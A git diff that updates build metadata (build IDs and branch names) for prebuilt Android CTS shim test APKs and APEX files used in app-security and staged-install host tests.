Merge "Fix potential null string comparison." into tm-dev
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb
index f866875..a9d7348 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgradeWrongSHA_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/CtsShimPrivUpgradeWrongSHA.apk"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb
index ccefcc1..62ab040 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__arm_CtsShimPrivUpgrade_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/CtsShimPrivUpgrade.apk"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb
index 264169d..a20b738 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgradeWrongSHA_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/CtsShimPrivUpgradeWrongSHA.apk"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb
index 543d7cc..3371432 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_appsecurity_test-apps_PrivilegedUpdateApp_apk__x86_CtsShimPrivUpgrade_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_x86_64/CtsShimPrivUpgrade.apk"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_not_pre_installed_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
index 6a1a592..7806ac3 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_not_pre_installed_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim_not_pre_installed.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb
index c01e04d..280dc99 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v1_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v1.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
index 91c5d50..2b13a41 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_file_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_additional_file.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
index d7e36fc..c852f2c 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_additional_folder_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_additional_folder.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb
index 849bab8..566d73d 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
index e59bbb1..7f394da 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_apk_in_apex_sdk_target_p.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb
new file mode 100644
index 0000000..c3b3d1c
--- /dev/null
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_apk_in_apex_upgrades_apex.asciipb
@@ -0,0 +1,15 @@
+drops {
+  android_build_drop {
+    build_id: "8572644"
+    target: "CtsShim"
+    source_file: "aosp_arm64/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex"
+  }
+  dest_file: "hostsidetests/stagedinstall/testdata/apex//arm/com.android.apex.cts.shim.v2_apk_in_apex_upgrades.apex"
+  version: ""
+  version_group: ""
+  git_project: "platform/cts"
+  git_branch: "tm-dev"
+  transform: TRANSFORM_NONE
+  transform_options {
+  }
+}
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
index 4aeed69..8ad7148 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_different_certificate.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
index 21717fc..c5bf540 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_different_package_name.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
index 74573f6..b43824e 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_no_hashtree.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_rebootless_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
index 5672e5c..86dd2d0 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_rebootless_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_rebootless.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
index acc83c0..63e244b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_sdk_target_p.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
index 13268eb..d301677 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_sign_payload_with_different_key_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
index 355f90b..0a0fa3a 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_signed_bob.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
index b840674..cde81d7 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_signed_bob_rot.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
index 60a8a3e..4b7066b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
index c360e44..64f31fb 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_unsigned_payload.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
index 9941db2..6430590 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_with_post_install_hook.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
index e041816..b103b78 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_with_pre_install_hook.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
index 987a82a..b3f859b 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_without_apk_in_apex.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
index 2531fbb..eced4cc 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v2_wrong_sha.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb
index 6e6b103..f0a1f9a 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v3.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_rebootless_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
index 655689a..d730662 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_rebootless_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v3_rebootless.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
index ba0e7b8..f617b9a 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__arm_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "7552332"
+    build_id: "8572644"
     target: "CtsShim"
     source_file: "aosp_arm64/com.android.apex.cts.shim.v3_signed_bob.apex"
   }
@@ -8,7 +8,7 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "sc-dev"
+  git_branch: "tm-dev"
   transform: TRANSFORM_NONE
   transform_options {
   }
